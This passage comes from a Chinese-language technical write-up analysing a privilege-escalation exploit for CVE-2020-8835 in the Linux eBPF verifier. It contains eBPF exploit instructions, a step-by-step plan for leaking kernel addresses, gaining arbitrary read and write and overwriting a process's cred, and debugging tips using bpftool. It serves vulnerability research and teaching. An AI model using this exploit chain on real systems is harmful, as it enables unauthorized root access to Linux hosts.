BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0xc0), // leak *(&exp_value[0]-0x110+0xc0) wait_list —— 泄露 exp_value 基址
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x18), // 泄露 wait_list保存的地址,該地址指向自身,所以此處用於泄露exp_map的地址
BPF_ALU64_IMM(BPF_ADD,BPF_REG_0,0x50), // r0 = &exp_map[0],計算前r0和r7的值相同,但為什么用r0計算,因為r0是map中的數據,而r7是指針,不能往map中寫指針
// &ctrl[0]+0x8 -> op
BPF_LDX_MEM(BPF_DW,BPF_REG_8,BPF_REG_6,0x8), // r8 = op
BPF_JMP_IMM(BPF_JNE, BPF_REG_8, 1, 4),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0), // r7=&exp_value[0]-0x110,即&exp_map[0]
BPF_ST_MEM(BPF_W,BPF_REG_7,0x18,BPF_MAP_TYPE_STACK),//map type
BPF_ST_MEM(BPF_W,BPF_REG_7,0x24,-1),// max_entries
BPF_ST_MEM(BPF_W,BPF_REG_7,0x2c,0x0), //lock_off
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
利用的整體思路:
- 通過漏洞,使得傳進來的偏移r8檢查時為0,而實際為0x110
- 將&exp_value[0]-0x110,獲得exp_map的地址,exp_map[0] 保存着array_map_ops的地址,可以用於泄露內核地址
- &exp_value[0]-0x110+0xc0(wait_list)處保存着指向自身的地址,用於泄露exp_value的地址
- 利用任意讀查找init_pid_ns結構地址
- 利用進程pid和init_pid_ns結構地址獲取當前進程的task_struct
- 在exp_value上填充偽造的array_map_ops
- 修改 map 的一些字段繞過一些檢查
- 調用 bpf_update_elem任意寫內存
- 修改進程task_struct 的cred進行提權。
多核提權
單核提權
針對單核機器,可以通過per_cpu_offset + current_task來查找當前進程的task_struct,通過任意讀獲取task_struct的comm字段,匹配是否為你運行的進程。該方法適用於單核機器,並且有一定概率會crash。
四、調試技巧
編譯選項:打開內核的debug info
,編輯.config
打開所有BPF_***
,打開CONFIG_BPF_SYSCALL
。
調試:主要調試的代碼位於kernel/bpf/verifier.c
中,可以根據源代碼,利用b kernel/bpf/verifier.c:行數
的方式下斷點。
打印內核中載入的eBPF程序:可以將內核源碼復制到鏡像中,然后在虛擬機中進入tools/bpf/bpftool
目錄下,執行make
,編譯出bpftool
。
# ./bpftool p s會顯示出內核中載入的eBPF程序的id等信息
$ ./bpftool p s
5: socket_filter tag 31bce63e92f471c4 gpl
loaded_at 2020-04-17T03:31:44+0000 uid 1000
xlated 88B jited 89B memlock 4096B
# ./bpftool p d x i id可以打印出具體的eBPF程序
$ ./bpftool p d x i 5
0: (b7) r0 = 808464432
1: (7f) r0 >>= r0
2: (14) w0 -= 808464432
3: (07) r0 += 808464432
4: (b7) r1 = 808464432
5: (de) if w1 s<= w0 goto pc+0
6: (07) r0 += -2144337872
7: (14) w0 -= -1607454672
8: (76) if w0 s>= 0x303030 goto pc+1
9: (05) goto pc-1
10: (95) exit
參考:
先知社區de4dcr0w—— CVE-2020-8835 pwn2own 2020 ebpf 通過任意讀寫提權分析
安全客——CVE-2020-8835:Linux eBPF模塊verifier組件漏洞分析
安全客rtfingc——https://www.anquanke.com/post/id/203416